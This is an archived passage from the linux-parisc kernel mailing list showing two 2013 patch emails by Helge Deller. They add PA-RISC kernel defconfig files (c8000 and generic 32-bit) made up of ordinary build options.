Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ux2HY-0008Gg-EG
	for glpp-linux-parisc@plane.gmane.org; Wed, 10 Jul 2013 23:50:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754830Ab3GJVuk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Jul 2013 17:50:40 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:52581 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754402Ab3GJVuj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Jul 2013 17:50:39 -0400
Original-Received: from p100.box ([84.173.29.190]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0MPDaC-1UscRA3kA4-004TNN; Wed, 10 Jul 2013 23:50:37
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:l0szANQ4U3cVDfUx8JjYlT3AGEeIZ9Z9Jmnn8DtnTqdYRmfbdPM
 XXNDx/2m0mnOKCm4rtqRNMgg9Qr/N8nYgWUFjUswQdRZE8+O1YXKiKt7IC1+1R7pWVxoPFz
 3ENHHINwHCXam2VW7kbNYmqjtA+0X7NyTcsMAqNwu+UtzZopqa3UTduZP8ucFklaUhhy/ya
 DdBchzi3qoPGUiIzsMTEg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5200
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5200>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/configs/c8000_defconfig b/arch/parisc/configs/c8000_defconfig
new file mode 100644
index 0000000..f110063
--- /dev/null
+++ b/arch/parisc/configs/c8000_defconfig
@@ -0,0 +1,279 @@
+# CONFIG_LOCALVERSION_AUTO is not set
+CONFIG_SYSVIPC=y
+CONFIG_POSIX_MQUEUE=y
+CONFIG_FHANDLE=y
+CONFIG_BSD_PROCESS_ACCT=y
+CONFIG_BSD_PROCESS_ACCT_V3=y
+CONFIG_IKCONFIG=y
+CONFIG_IKCONFIG_PROC=y
+CONFIG_RELAY=y
+CONFIG_BLK_DEV_INITRD=y
+CONFIG_RD_BZIP2=y
+CONFIG_RD_LZMA=y
+CONFIG_RD_LZO=y
+CONFIG_EXPERT=y
+CONFIG_SYSCTL_SYSCALL=y
+CONFIG_SLAB=y
+CONFIG_MODULES=y
+CONFIG_MODULE_UNLOAD=y
+CONFIG_MODULE_FORCE_UNLOAD=y
+CONFIG_MODVERSIONS=y
+CONFIG_BLK_DEV_INTEGRITY=y
+CONFIG_PA8X00=y
+CONFIG_MLONGCALLS=y
+CONFIG_64BIT=y
+CONFIG_SMP=y
+CONFIG_PREEMPT=y
+# CONFIG_CROSS_MEMORY_ATTACH is not set
+CONFIG_IOMMU_CCIO=y
+CONFIG_PCI=y
+CONFIG_PCI_LBA=y
+# CONFIG_SUPERIO is not set
+# CONFIG_CHASSIS_LCD_LED is not set
+# CONFIG_PDC_CHASSIS is not set
+# CONFIG_PDC_CHASSIS_WARN is not set
+# CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set
+CONFIG_BINFMT_MISC=m
+CONFIG_PACKET=y
+CONFIG_UNIX=y
+CONFIG_XFRM_USER=m
+CONFIG_XFRM_SUB_POLICY=y
+CONFIG_NET_KEY=m
+CONFIG_INET=y
+CONFIG_IP_MULTICAST=y
+CONFIG_IP_PNP=y
+CONFIG_IP_PNP_DHCP=y
+CONFIG_IP_PNP_BOOTP=y
+CONFIG_IP_PNP_RARP=y
+CONFIG_NET_IPIP=m
+CONFIG_IP_MROUTE=y
+CONFIG_IP_PIMSM_V1=y
+CONFIG_IP_PIMSM_V2=y
+CONFIG_SYN_COOKIES=y
+CONFIG_INET_AH=m
+CONFIG_INET_ESP=m
+CONFIG_INET_IPCOMP=m
+CONFIG_INET_XFRM_MODE_BEET=m
+CONFIG_INET_DIAG=m
+# CONFIG_IPV6 is not set
+CONFIG_IP_DCCP=m
+# CONFIG_IP_DCCP_CCID3 is not set
+CONFIG_TIPC=m
+CONFIG_LLC2=m
+CONFIG_DNS_RESOLVER=y
+CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
+# CONFIG_STANDALONE is not set
+CONFIG_PARPORT=y
+CONFIG_PARPORT_PC=y
+CONFIG_PARPORT_PC_FIFO=y
+CONFIG_BLK_DEV_UMEM=m
+CONFIG_BLK_DEV_LOOP=m
+CONFIG_BLK_DEV_CRYPTOLOOP=m
+CONFIG_BLK_DEV_SX8=m
+CONFIG_BLK_DEV_RAM=y
+CONFIG_BLK_DEV_RAM_SIZE=6144
+CONFIG_CDROM_PKTCDVD=m
+CONFIG_CDROM_PKTCDVD_WCACHE=y
+CONFIG_ATA_OVER_ETH=m
+CONFIG_IDE=y
+CONFIG_BLK_DEV_IDECD=y
+CONFIG_BLK_DEV_PLATFORM=y
+CONFIG_BLK_DEV_GENERIC=y
+CONFIG_BLK_DEV_SIIMAGE=y
+CONFIG_SCSI=y
+CONFIG_BLK_DEV_SD=y
+CONFIG_CHR_DEV_ST=m
+CONFIG_BLK_DEV_SR=m
+CONFIG_CHR_DEV_SG=y
+CONFIG_CHR_DEV_SCH=m
+CONFIG_SCSI_CONSTANTS=y
+CONFIG_SCSI_LOGGING=y
+CONFIG_SCSI_FC_ATTRS=y
+CONFIG_SCSI_SAS_LIBSAS=m
+CONFIG_ISCSI_TCP=m
+CONFIG_ISCSI_BOOT_SYSFS=m
+CONFIG_FUSION=y
+CONFIG_FUSION_SPI=y
+CONFIG_FUSION_SAS=y
+CONFIG_NETDEVICES=y
+CONFIG_DUMMY=m
+CONFIG_NETCONSOLE=m
+CONFIG_TUN=y
+CONFIG_E1000=y
+CONFIG_PPP=m
+CONFIG_PPP_BSDCOMP=m
+CONFIG_PPP_DEFLATE=m
+CONFIG_PPP_MPPE=m
+CONFIG_PPPOE=m
+CONFIG_PPP_ASYNC=m
+CONFIG_PPP_SYNC_TTY=m
+# CONFIG_WLAN is not set
+CONFIG_INPUT_FF_MEMLESS=m
+# CONFIG_KEYBOARD_ATKBD is not set
+# CONFIG_KEYBOARD_HIL_OLD is not set
+# CONFIG_KEYBOARD_HIL is not set
+CONFIG_MOUSE_PS2=m
+CONFIG_INPUT_MISC=y
+CONFIG_INPUT_CM109=m
+CONFIG_SERIO_SERPORT=m
+CONFIG_SERIO_PARKBD=m
+CONFIG_SERIO_GSCPS2=m
+# CONFIG_HP_SDC is not set
+CONFIG_SERIO_PCIPS2=m
+CONFIG_SERIO_LIBPS2=y
+CONFIG_SERIO_RAW=m
+CONFIG_SERIAL_8250=y
+# CONFIG_SERIAL_8250_DEPRECATED_OPTIONS is not set
+CONFIG_SERIAL_8250_CONSOLE=y
+CONFIG_SERIAL_8250_NR_UARTS=8
+CONFIG_SERIAL_8250_RUNTIME_UARTS=8
+CONFIG_SERIAL_8250_EXTENDED=y
+# CONFIG_SERIAL_MUX is not set
+CONFIG_SERIAL_JSM=m
+CONFIG_PRINTER=y
+CONFIG_HW_RANDOM=y
+CONFIG_RAW_DRIVER=m
+CONFIG_PTP_1588_CLOCK=y
+CONFIG_SSB=m
+CONFIG_SSB_DRIVER_PCICORE=y
+CONFIG_AGP=y
+CONFIG_AGP_PARISC=y
+CONFIG_DRM=y
+CONFIG_DRM_RADEON=y
+CONFIG_FIRMWARE_EDID=y
+CONFIG_FB_FOREIGN_ENDIAN=y
+CONFIG_FB_MODE_HELPERS=y
+CONFIG_FB_TILEBLITTING=y
+# CONFIG_FB_STI is not set
+CONFIG_BACKLIGHT_LCD_SUPPORT=y
+# CONFIG_LCD_CLASS_DEVICE is not set
+# CONFIG_BACKLIGHT_GENERIC is not set
+CONFIG_FRAMEBUFFER_CONSOLE=y
+# CONFIG_STI_CONSOLE is not set
+CONFIG_LOGO=y
+# CONFIG_LOGO_LINUX_MONO is not set
+# CONFIG_LOGO_LINUX_VGA16 is not set
+# CONFIG_LOGO_LINUX_CLUT224 is not set
+CONFIG_SOUND=m
+CONFIG_SND=m
+CONFIG_SND_SEQUENCER=m
+CONFIG_SND_SEQ_DUMMY=m
+CONFIG_SND_MIXER_OSS=m
+CONFIG_SND_PCM_OSS=m
+CONFIG_SND_SEQUENCER_OSS=y
+CONFIG_SND_VERBOSE_PRINTK=y
+CONFIG_SND_AD1889=m
+# CONFIG_SND_USB is not set
+# CONFIG_SND_GSC is not set
+CONFIG_HID_A4TECH=m
+CONFIG_HID_APPLE=m
+CONFIG_HID_BELKIN=m
+CONFIG_HID_CHERRY=m
+CONFIG_HID_CHICONY=m
+CONFIG_HID_CYPRESS=m
+CONFIG_HID_DRAGONRISE=m
+CONFIG_HID_EZKEY=m
+CONFIG_HID_KYE=m
+CONFIG_HID_GYRATION=m
+CONFIG_HID_TWINHAN=m
+CONFIG_HID_KENSINGTON=m
+CONFIG_HID_LOGITECH=m
+CONFIG_HID_LOGITECH_DJ=m
+CONFIG_HID_MICROSOFT=m
+CONFIG_HID_MONTEREY=m
+CONFIG_HID_NTRIG=m
+CONFIG_HID_ORTEK=m
+CONFIG_HID_PANTHERLORD=m
+CONFIG_HID_PETALYNX=m
+CONFIG_HID_SAMSUNG=m
+CONFIG_HID_SUNPLUS=m
+CONFIG_HID_GREENASIA=m
+CONFIG_HID_SMARTJOYPLUS=m
+CONFIG_HID_TOPSEED=m
+CONFIG_HID_THRUSTMASTER=m
+CONFIG_HID_ZEROPLUS=m
+CONFIG_USB_HID=m
+CONFIG_USB=y
+CONFIG_USB_OHCI_HCD=y
+CONFIG_USB_STORAGE=y
+CONFIG_EXT2_FS=y
+CONFIG_EXT2_FS_XATTR=y
+CONFIG_EXT2_FS_POSIX_ACL=y
+CONFIG_EXT2_FS_SECURITY=y
+CONFIG_EXT3_FS=y
+# CONFIG_EXT3_DEFAULTS_TO_ORDERED is not set
+CONFIG_EXT4_FS=m
+CONFIG_REISERFS_FS=m
+CONFIG_REISERFS_PROC_INFO=y
+CONFIG_XFS_FS=m
+CONFIG_XFS_POSIX_ACL=y
+CONFIG_QUOTA=y
+CONFIG_QFMT_V1=m
+CONFIG_QFMT_V2=m
+CONFIG_AUTOFS4_FS=m
+CONFIG_FUSE_FS=m
+CONFIG_ISO9660_FS=y
+CONFIG_JOLIET=y
+CONFIG_MSDOS_FS=m
+CONFIG_VFAT_FS=m
+CONFIG_PROC_KCORE=y
+CONFIG_TMPFS=y
+CONFIG_TMPFS_XATTR=y
+CONFIG_NFS_FS=m
+CONFIG_NLS_CODEPAGE_437=m
+CONFIG_NLS_CODEPAGE_737=m
+CONFIG_NLS_CODEPAGE_775=m
+CONFIG_NLS_CODEPAGE_850=m
+CONFIG_NLS_CODEPAGE_852=m
+CONFIG_NLS_CODEPAGE_855=m
+CONFIG_NLS_CODEPAGE_857=m
+CONFIG_NLS_CODEPAGE_860=m
+CONFIG_NLS_CODEPAGE_861=m
+CONFIG_NLS_CODEPAGE_862=m
+CONFIG_NLS_CODEPAGE_863=m
+CONFIG_NLS_CODEPAGE_864=m
+CONFIG_NLS_CODEPAGE_865=m
+CONFIG_NLS_CODEPAGE_866=m
+CONFIG_NLS_CODEPAGE_869=m
+CONFIG_NLS_CODEPAGE_936=m
+CONFIG_NLS_CODEPAGE_950=m
+CONFIG_NLS_CODEPAGE_932=m
+CONFIG_NLS_CODEPAGE_949=m
+CONFIG_NLS_CODEPAGE_874=m
+CONFIG_NLS_ISO8859_8=m
+CONFIG_NLS_CODEPAGE_1250=m
+CONFIG_NLS_CODEPAGE_1251=m
+CONFIG_NLS_ASCII=m
+CONFIG_NLS_ISO8859_1=m
+CONFIG_NLS_ISO8859_2=m
+CONFIG_NLS_ISO8859_3=m
+CONFIG_NLS_ISO8859_4=m
+CONFIG_NLS_ISO8859_5=m
+CONFIG_NLS_ISO8859_6=m
+CONFIG_NLS_ISO8859_7=m
+CONFIG_NLS_ISO8859_9=m
+CONFIG_NLS_ISO8859_13=m
+CONFIG_NLS_ISO8859_14=m
+CONFIG_NLS_ISO8859_15=m
+CONFIG_NLS_KOI8_R=m
+CONFIG_NLS_KOI8_U=m
+CONFIG_NLS_UTF8=m
+CONFIG_UNUSED_SYMBOLS=y
+CONFIG_DEBUG_FS=y
+CONFIG_MAGIC_SYSRQ=y
+CONFIG_DEBUG_SLAB=y
+CONFIG_DEBUG_SLAB_LEAK=y
+CONFIG_DEBUG_MEMORY_INIT=y
+CONFIG_DEBUG_STACKOVERFLOW=y
+CONFIG_LOCKUP_DETECTOR=y
+CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC=y
+CONFIG_PANIC_ON_OOPS=y
+CONFIG_DEBUG_RT_MUTEXES=y
+CONFIG_RT_MUTEX_TESTER=y
+CONFIG_PROVE_RCU_DELAY=y
+CONFIG_DEBUG_BLOCK_EXT_DEVT=y
+CONFIG_LATENCYTOP=y
+CONFIG_DEBUG_STRICT_USER_COPY_CHECKS=y
+CONFIG_KEYS=y
+# CONFIG_CRYPTO_HW is not set
+CONFIG_FONTS=y
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: add generic 32- and 64-bit defconfigs
Date: Wed, 10 Jul 2013 23:52:52 +0200
Lines: 713
Approved: news@gmane.org
Message-ID: <20130710215252.GB26880@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1373493186 4996 80.91.229.3 (10 Jul 2013 21:53:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Jul 2013 21:53:06 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 10 23:53:06 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ux2Jn-0001rx-Tm
	for glpp-linux-parisc@plane.gmane.org; Wed, 10 Jul 2013 23:53:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754447Ab3GJVw7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Jul 2013 17:52:59 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:62953 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754292Ab3GJVw6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Jul 2013 17:52:58 -0400
Original-Received: from p100.box ([84.173.29.190]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0M4GND-1U6IyL22S3-00rt2J; Wed, 10 Jul 2013 23:52:55
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:Fefb7Gi5NZEYMYuSId76GfLcksivxLBC2l8Y9oxcvwnway1tNw1
 UwG4aiSsCMkzTsKddvXFCCgW7KOuGq25alHjVlYt2KqL1ZZ6sT+gUCm6qCwr6Qp+4C/+iia
 M8AItPUPLAWRBgEA7v6Hiwxr7lWV6h41qJhhgoKulpjFTikcdn6dMzmiZ39LRmCM+Y5mdcp
 PgfGjMLP3xsLReBbBd0ug==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5201
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5201>

New defconfigs which should be able to boot on any 32/64bit machine.
Many drivers are selected to be compiled-in to avoid the need for an
additional initrd and still being able to boot.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/configs/generic-32bit_defconfig b/arch/parisc/configs/generic-32bit_defconfig
new file mode 100644
index 0000000..7f03614
--- /dev/null
+++ b/arch/parisc/configs/generic-32bit_defconfig
@@ -0,0 +1,340 @@
+CONFIG_LOCALVERSION="-32bit"
+# CONFIG_LOCALVERSION_AUTO is not set
+CONFIG_SYSVIPC=y
+CONFIG_POSIX_MQUEUE=y
+CONFIG_FHANDLE=y
+CONFIG_BSD_PROCESS_ACCT=y
+CONFIG_IKCONFIG=y
+CONFIG_IKCONFIG_PROC=y
+CONFIG_LOG_BUF_SHIFT=16
+CONFIG_BLK_DEV_INITRD=y
+CONFIG_RD_BZIP2=y
+CONFIG_RD_LZMA=y
+CONFIG_RD_LZO=y
+CONFIG_EXPERT=y
+CONFIG_SYSCTL_SYSCALL=y
+CONFIG_PERF_EVENTS=y
+CONFIG_SLAB=y
+CONFIG_MODULES=y
+CONFIG_MODULE_UNLOAD=y
+CONFIG_MODULE_FORCE_UNLOAD=y
+# CONFIG_LBDAF is not set
+# CONFIG_BLK_DEV_BSG is not set
+CONFIG_PA7100LC=y
+CONFIG_SMP=y
+CONFIG_HZ_100=y
+CONFIG_IOMMU_CCIO=y
+CONFIG_GSC_LASI=y
+CONFIG_GSC_WAX=y
+CONFIG_EISA=y
+CONFIG_PCI=y
+CONFIG_GSC_DINO=y
+CONFIG_PCI_LBA=y
+CONFIG_PCCARD=m
+CONFIG_YENTA=m
+CONFIG_PD6729=m
+CONFIG_I82092=m
+# CONFIG_PDC_CHASSIS is not set
+# CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set
+CONFIG_BINFMT_MISC=m
+CONFIG_NET=y
+CONFIG_PACKET=y
+CONFIG_UNIX=y
+CONFIG_XFRM_USER=m
+CONFIG_NET_KEY=m
+CONFIG_INET=y
+CONFIG_IP_MULTICAST=y
+CONFIG_IP_PNP=y
+CONFIG_IP_PNP_DHCP=y
+CONFIG_IP_PNP_BOOTP=y
+CONFIG_INET_AH=m
+CONFIG_INET_ESP=m
+# CONFIG_INET_XFRM_MODE_TRANSPORT is not set
+# CONFIG_INET_XFRM_MODE_TUNNEL is not set
+# CONFIG_INET_XFRM_MODE_BEET is not set
+# CONFIG_INET_LRO is not set
+CONFIG_INET_DIAG=m
+CONFIG_LLC2=m
+# CONFIG_WIRELESS is not set
+CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
+# CONFIG_STANDALONE is not set
+# CONFIG_PREVENT_FIRMWARE_BUILD is not set
+CONFIG_PARPORT=y
+CONFIG_PARPORT_PC=m
+CONFIG_PARPORT_PC_PCMCIA=m
+CONFIG_PARPORT_1284=y
+CONFIG_BLK_DEV_LOOP=y
+CONFIG_BLK_DEV_CRYPTOLOOP=y
+CONFIG_BLK_DEV_RAM=y
+CONFIG_BLK_DEV_RAM_SIZE=6144
+CONFIG_IDE=y
+CONFIG_BLK_DEV_IDECS=m
+CONFIG_BLK_DEV_IDECD=y
+CONFIG_BLK_DEV_GENERIC=y
+CONFIG_BLK_DEV_NS87415=y
+CONFIG_BLK_DEV_SD=y
+CONFIG_CHR_DEV_ST=y
+CONFIG_BLK_DEV_SR=y
+CONFIG_CHR_DEV_SG=y
+CONFIG_SCSI_LASI700=y
+CONFIG_SCSI_SYM53C8XX_2=y
+CONFIG_SCSI_ZALON=y
+CONFIG_SCSI_DH=y
+CONFIG_ATA=y
+CONFIG_MD=y
+CONFIG_BLK_DEV_MD=m
+CONFIG_MD_LINEAR=m
+CONFIG_MD_RAID0=m
+CONFIG_MD_RAID1=m
+CONFIG_MD_RAID10=m
+CONFIG_MD_RAID456=m
+CONFIG_BLK_DEV_DM=y
+CONFIG_DM_UEVENT=y
+CONFIG_NETDEVICES=y
+CONFIG_BONDING=m
+CONFIG_DUMMY=m
+CONFIG_TUN=m
+# CONFIG_NET_VENDOR_3COM is not set
+# CONFIG_NET_VENDOR_ADAPTEC is not set
+# CONFIG_NET_VENDOR_ALTEON is not set
+# CONFIG_NET_VENDOR_AMD is not set
+# CONFIG_NET_VENDOR_ATHEROS is not set
+# CONFIG_NET_CADENCE is not set
+# CONFIG_NET_VENDOR_BROADCOM is not set
+# CONFIG_NET_VENDOR_BROCADE is not set
+# CONFIG_NET_VENDOR_CHELSIO is not set
+# CONFIG_NET_VENDOR_CIRRUS is not set
+# CONFIG_NET_VENDOR_CISCO is not set
+CONFIG_NET_TULIP=y
+CONFIG_TULIP=y
+# CONFIG_NET_VENDOR_DLINK is not set
+# CONFIG_NET_VENDOR_EMULEX is not set
+# CONFIG_NET_VENDOR_EXAR is not set
+# CONFIG_NET_VENDOR_FUJITSU is not set
+# CONFIG_NET_VENDOR_HP is not set
+CONFIG_LASI_82596=y
+# CONFIG_NET_VENDOR_MELLANOX is not set
+# CONFIG_NET_VENDOR_MICREL is not set
+# CONFIG_NET_VENDOR_MYRI is not set
+# CONFIG_NET_VENDOR_NATSEMI is not set
+# CONFIG_NET_VENDOR_NVIDIA is not set
+# CONFIG_NET_VENDOR_OKI is not set
+# CONFIG_NET_PACKET_ENGINE is not set
+# CONFIG_NET_VENDOR_QLOGIC is not set
+# CONFIG_NET_VENDOR_REALTEK is not set
+# CONFIG_NET_VENDOR_RDC is not set
+# CONFIG_NET_VENDOR_SEEQ is not set
+# CONFIG_NET_VENDOR_SILAN is not set
+# CONFIG_NET_VENDOR_SIS is not set
+# CONFIG_NET_VENDOR_STMICRO is not set
+# CONFIG_NET_VENDOR_SUN is not set
+# CONFIG_NET_VENDOR_TEHUTI is not set
+# CONFIG_NET_VENDOR_TI is not set
+# CONFIG_NET_VENDOR_VIA is not set
+# CONFIG_NET_VENDOR_XIRCOM is not set
+CONFIG_PPP=m
+CONFIG_PPP_BSDCOMP=m
+CONFIG_PPP_DEFLATE=m
+CONFIG_PPPOE=m
+# CONFIG_WLAN is not set
+CONFIG_INPUT_POLLDEV=y
+CONFIG_KEYBOARD_HIL_OLD=m
+CONFIG_KEYBOARD_HIL=m
+CONFIG_MOUSE_SERIAL=y
+CONFIG_INPUT_MISC=y
+CONFIG_INPUT_UINPUT=m
+CONFIG_VT_HW_CONSOLE_BINDING=y
+CONFIG_LEGACY_PTY_COUNT=64
+CONFIG_SERIAL_8250=y
+# CONFIG_SERIAL_8250_DEPRECATED_OPTIONS is not set
+CONFIG_SERIAL_8250_CONSOLE=y
+CONFIG_SERIAL_8250_CS=m
+CONFIG_SERIAL_8250_NR_UARTS=8
+CONFIG_SERIAL_8250_EXTENDED=y
+CONFIG_SERIAL_8250_MANY_PORTS=y
+CONFIG_SERIAL_8250_SHARE_IRQ=y
+CONFIG_PRINTER=m
+CONFIG_PPDEV=m
+# CONFIG_HW_RANDOM is not set
+CONFIG_I2C=y
+CONFIG_POWER_SUPPLY=y
+# CONFIG_HWMON is not set
+CONFIG_AGP=y
+CONFIG_VIDEO_OUTPUT_CONTROL=y
+CONFIG_FB=y
+CONFIG_FB_FOREIGN_ENDIAN=y
+CONFIG_FB_MODE_HELPERS=y
+CONFIG_FB_MATROX=m
+CONFIG_FB_MATROX_G=y
+CONFIG_FB_VOODOO1=m
+CONFIG_DUMMY_CONSOLE_COLUMNS=128
+CONFIG_DUMMY_CONSOLE_ROWS=48
+CONFIG_FRAMEBUFFER_CONSOLE=y
+CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y
+CONFIG_LOGO=y
+# CONFIG_LOGO_LINUX_MONO is not set
+# CONFIG_LOGO_LINUX_VGA16 is not set
+# CONFIG_LOGO_LINUX_CLUT224 is not set
+CONFIG_SOUND=m
+CONFIG_SND=m
+CONFIG_SND_SEQUENCER=m
+CONFIG_SND_MIXER_OSS=m
+CONFIG_SND_PCM_OSS=m
+CONFIG_SND_SEQUENCER_OSS=y
+CONFIG_SND_DYNAMIC_MINORS=y
+CONFIG_SND_AD1889=m
+# CONFIG_SND_PCMCIA is not set
+CONFIG_SND_HARMONY=m
+CONFIG_HIDRAW=y
+CONFIG_HID_A4TECH=y
+CONFIG_HID_APPLE=y
+CONFIG_HID_BELKIN=y
+CONFIG_HID_CHERRY=y
+CONFIG_HID_CHICONY=y
+CONFIG_HID_CYPRESS=y
+CONFIG_HID_DRAGONRISE=y
+CONFIG_HID_EZKEY=y
+CONFIG_HID_KYE=y
+CONFIG_HID_GYRATION=y
+CONFIG_HID_TWINHAN=y
+CONFIG_HID_KENSINGTON=y
+CONFIG_HID_LOGITECH=y
+CONFIG_HID_LOGITECH_DJ=m
+CONFIG_HID_MICROSOFT=y
+CONFIG_HID_MONTEREY=y
+CONFIG_HID_NTRIG=y
+CONFIG_HID_ORTEK=y
+CONFIG_HID_PANTHERLORD=y
+CONFIG_HID_PETALYNX=y
+CONFIG_HID_SAMSUNG=y
+CONFIG_HID_SONY=y
+CONFIG_HID_SUNPLUS=y
+CONFIG_HID_GREENASIA=y
+CONFIG_HID_SMARTJOYPLUS=y
+CONFIG_HID_TOPSEED=y
+CONFIG_HID_THRUSTMASTER=y
+CONFIG_HID_ZEROPLUS=y
+CONFIG_USB=y
+CONFIG_USB_ANNOUNCE_NEW_DEVICES=y
+CONFIG_USB_MON=y
+CONFIG_USB_OHCI_HCD=y
+CONFIG_USB_UHCI_HCD=y
+CONFIG_NEW_LEDS=y
+CONFIG_LEDS_CLASS=y
+CONFIG_LEDS_TRIGGERS=y
+CONFIG_LEDS_TRIGGER_TIMER=y
+CONFIG_LEDS_TRIGGER_IDE_DISK=y
+CONFIG_LEDS_TRIGGER_HEARTBEAT=y
+CONFIG_LEDS_TRIGGER_DEFAULT_ON=y
+CONFIG_DMADEVICES=y
+CONFIG_AUXDISPLAY=y
+CONFIG_EXT2_FS=y
+CONFIG_EXT2_FS_XATTR=y
+CONFIG_EXT2_FS_POSIX_ACL=y
+CONFIG_EXT2_FS_SECURITY=y
+CONFIG_EXT3_FS=y
+# CONFIG_EXT3_DEFAULTS_TO_ORDERED is not set
+CONFIG_EXT3_FS_POSIX_ACL=y
+CONFIG_EXT3_FS_SECURITY=y
+CONFIG_XFS_FS=m
+CONFIG_XFS_QUOTA=y
+CONFIG_XFS_POSIX_ACL=y
+CONFIG_XFS_RT=y
+CONFIG_QUOTA=y
+CONFIG_QUOTA_NETLINK_INTERFACE=y
+CONFIG_QFMT_V2=y
+CONFIG_AUTOFS4_FS=y
+CONFIG_ISO9660_FS=y
+CONFIG_JOLIET=y
+CONFIG_VFAT_FS=y
+CONFIG_PROC_KCORE=y
+CONFIG_TMPFS=y
+CONFIG_TMPFS_POSIX_ACL=y
+CONFIG_NFS_FS=m
+# CONFIG_NFS_V2 is not set
+CONFIG_NFSD=m
+CONFIG_NFSD_V3=y
+CONFIG_NFSD_V3_ACL=y
+CONFIG_CIFS=m
+CONFIG_CIFS_WEAK_PW_HASH=y
+CONFIG_CIFS_XATTR=y
+CONFIG_CIFS_POSIX=y
+# CONFIG_CIFS_DEBUG is not set
+CONFIG_NLS_CODEPAGE_437=y
+CONFIG_NLS_CODEPAGE_737=m
+CONFIG_NLS_CODEPAGE_775=m
+CONFIG_NLS_CODEPAGE_850=m
+CONFIG_NLS_CODEPAGE_852=m
+CONFIG_NLS_CODEPAGE_855=m
+CONFIG_NLS_CODEPAGE_857=m
+CONFIG_NLS_CODEPAGE_860=m
+CONFIG_NLS_CODEPAGE_861=m
+CONFIG_NLS_CODEPAGE_862=m
+CONFIG_NLS_CODEPAGE_863=m
+CONFIG_NLS_CODEPAGE_864=m
+CONFIG_NLS_CODEPAGE_865=m
+CONFIG_NLS_CODEPAGE_866=m
+CONFIG_NLS_CODEPAGE_869=m
+CONFIG_NLS_CODEPAGE_936=m
+CONFIG_NLS_CODEPAGE_950=m
+CONFIG_NLS_CODEPAGE_932=m
+CONFIG_NLS_CODEPAGE_949=m
+CONFIG_NLS_CODEPAGE_874=m
+CONFIG_NLS_ISO8859_8=m
+CONFIG_NLS_CODEPAGE_1250=y
+CONFIG_NLS_CODEPAGE_1251=m
+CONFIG_NLS_ASCII=m
+CONFIG_NLS_ISO8859_1=y
+CONFIG_NLS_ISO8859_2=m
+CONFIG_NLS_ISO8859_3=m
+CONFIG_NLS_ISO8859_4=m
+CONFIG_NLS_ISO8859_5=m
+CONFIG_NLS_ISO8859_6=m
+CONFIG_NLS_ISO8859_7=m
+CONFIG_NLS_ISO8859_9=m
+CONFIG_NLS_ISO8859_13=m
+CONFIG_NLS_ISO8859_14=m
+CONFIG_NLS_ISO8859_15=m
+CONFIG_NLS_KOI8_R=m
+CONFIG_NLS_KOI8_U=m
+CONFIG_NLS_UTF8=y
+CONFIG_UNUSED_SYMBOLS=y
+CONFIG_DEBUG_FS=y
+CONFIG_MAGIC_SYSRQ=y
+CONFIG_DEBUG_MEMORY_INIT=y
+CONFIG_DEBUG_STACKOVERFLOW=y
+CONFIG_DEBUG_SHIRQ=y
+CONFIG_DETECT_HUNG_TASK=y
+CONFIG_TIMER_STATS=y
+CONFIG_DEBUG_RT_MUTEXES=y
+CONFIG_RT_MUTEX_TESTER=y
+CONFIG_DEBUG_SPINLOCK=y
